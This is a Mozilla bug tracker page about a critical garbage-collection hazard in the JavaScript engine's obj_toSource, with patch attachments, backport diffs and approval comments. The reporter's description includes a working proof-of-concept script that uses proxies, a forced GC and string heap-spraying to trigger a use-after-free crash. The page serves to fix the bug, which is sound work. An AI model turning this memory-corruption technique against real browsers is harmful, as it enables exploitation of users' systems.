Last Comment Bug 568073 - GC hazard in obj_toSource
: GC hazard in obj_toSource
Status: RESOLVED FIXED
[sg:critical?] fixed-in-tracemonkey [...
:
Product: Core
Classification: Components
Component: JavaScript Engine (show other bugs)
: Other Branch
: All All
: -- normal (vote)
: ---
Assigned To: Igor Bukanov
:
: Jason Orendorff [:jorendorff]
Mentors:
Depends on: 568485
Blocks: harmony:proxies
  Show dependency treegraph
 
Reported: 2010-05-25 14:24 PDT by Igor Bukanov
Modified: 2010-10-30 18:14 PDT (History)
7 users (show)
See Also:
Crash Signature:
(edit)
QA Whiteboard:
Iteration: ---
Points: ---
Has Regression Range: ---
Has STR: ---
final+
.11+
.11-fixed
.14+
.14-fixed


Attachments
v1 (2.84 KB, patch)
2010-05-25 14:26 PDT, Igor Bukanov
brendan: review+
Details | Diff | Splinter Review
fix for 192 (2.97 KB, patch)
2010-08-14 03:28 PDT, Igor Bukanov
gal: review+
christian: approval1.9.2.11+
Details | Diff | Splinter Review
fix for 191 (2.98 KB, patch)
2010-08-16 01:35 PDT, Igor Bukanov
igor: review+
dveditz: approval1.9.1.14+
Details | Diff | Splinter Review
1.8.0 version (1.96 KB, patch)
2010-10-06 02:59 PDT, Martin Stránský
igor: review+
Details | Diff | Splinter Review

Description Igor Bukanov 2010-05-25 14:24:11 PDT
obj_toSource contains the following pattern:

obj->lookupProperty(cx, id, &obj2, &prop);
...
obj->getProperty(cx, id, &val[0]);
...
obj2->dropProperty(cx, prop);

Similarly to the bug 566141 the code calls obj2->dropProperty after doing potentially complex operations. Again, as with the bug 566141, the proxies makes the bug easier to exploit but AFAICS on branches the liveconnect can be used to archive the same results as the getProperty call can run arbitrary Java code that can in turn call JS.

Here is a test case that crashes the current TM tip:

var obj = {x: 0};

// Make a proxy property of a getter/setter so enumerateOwn will be invoked
// during initial scanning of the object tree. The function than deletes
// a property from the object so property lookup during the enumeration
// will go into prototype.
function f() {}
f.p = Proxy.create({ enumerateOwn: function() {
            delete obj.x;
            return [];
        }});
obj.__defineGetter__.call(obj, 'a', f);
obj.__defineSetter__.call(obj, 'a', f);

var buffer = [];
for (var i = 0; i != 4000; ++i)
    buffer.push({});

function force_gc() {
    print('gc');
    buffer = null;
    gc();
    buffer = [];
    for (var i = 0; i != 1e5; ++i)
        buffer.push("123456".substring(1));
}

// Make another proxy a prototype of Object.prototype. The has method for this
// proxy is called for the deleted property x during attribute lookup in
// obj_toSource. The method restores Object.prototype.__proto__ back to null
// and defines a getter for the x on the original object. This getter triggers
// gc that collects now unrooted proxy object and spray the freed GC arenas
// with strings leading to a crash during dropProperty call.
Object.prototype.__proto__ = Proxy.create({
      has: function(name) {
            if (name == "x") {
                Object.prototype.__proto__ = null;
                obj.__defineGetter__('x', force_gc);
                return true;
            }
            return false;
        },

      getOwnPropertyDescriptor: function(name) { return {}; }
    });

obj.toSource();
Comment 1 Igor Bukanov 2010-05-25 14:26:49 PDT
Created attachment 447368 [details] [diff] [review]
v1
Comment 2 Igor Bukanov 2010-05-26 00:10:35 PDT
Nominating for branches as in principle the bug could be exploited there using LiveConnect.
Comment 4 Daniel Veditz [:dveditz] 2010-06-02 10:52:30 PDT
Please request branch patch approvals when you're ready to land this on the stable branches.
Comment 6 Igor Bukanov 2010-08-13 01:55:29 PDT
This bug should be a blocker on branches. AFAICS with liveconnect one can build an exploit here.
Comment 7 Igor Bukanov 2010-08-14 03:28:41 PDT
Created attachment 465980 [details] [diff] [review]
fix for 192

192 backport follows the logic of TM patch adjusted for older internal API.
Comment 8 Igor Bukanov 2010-08-16 01:35:50 PDT
Created attachment 466251 [details] [diff] [review]
fix for 191

191 needs a separated fix to account for OBJ_LOOKUP_PROPERTY change on later
branches. Here is a plain diff against 192 version:

4,5c4
< @@ -771,71 +771,70 @@ obj_toSource(JSContext *cx, uintN argc, 
<          idIsLexicalIdentifier = js_IsIdentifier(idstr);
---
> @@ -769,71 +769,70 @@ obj_toSource(JSContext *cx, uintN argc, 
8c7,8
<              js_CheckKeyword(idstr->chars(), idstr->length()) != TOK_EOF;
---
>              js_CheckKeyword(JSSTRING_CHARS(idstr),
>                              JSSTRING_LENGTH(idstr)) != TOK_EOF;
14c14
< -            ok = obj2->getAttributes(cx, id, prop, &attrs);
---
> -            ok = OBJ_GET_ATTRIBUTES(cx, obj2, id, prop, &attrs);
16c16
< -                obj2->dropProperty(cx, prop);
---
> -                OBJ_DROP_PROPERTY(cx, obj2, prop);
44c44
< +                obj2->dropProperty(cx, prop);
---
> +                OBJ_DROP_PROPERTY(cx, obj2, prop);
50c50
<                  ok = obj->getProperty(cx, id, &val[0]);
---
>                  ok = OBJ_GET_PROPERTY(cx, obj, id, &val[0]);
54c54
< -            obj2->dropProperty(cx, prop);
---
> -            OBJ_DROP_PROPERTY(cx, obj2, prop);
68c68
<          ok = obj->getProperty(cx, id, &val[0]);
---
>          ok = OBJ_GET_PROPERTY(cx, obj, id, &val[0]);
Comment 9 Daniel Veditz [:dveditz] 2010-08-27 10:53:17 PDT
Comment on attachment 466251 [details] [diff] [review]
fix for 191

Approved for 1.9.1.13, a=dveditz for release-drivers
Comment 10 Daniel Veditz [:dveditz] 2010-08-27 10:53:46 PDT
and Approved for 1.9.2.10
Comment 12 Martin Stránský 2010-10-06 02:59:41 PDT
Created attachment 481170 [details] [diff] [review]
1.8.0 version

Note You need to log in before you can comment on or make changes to this bug.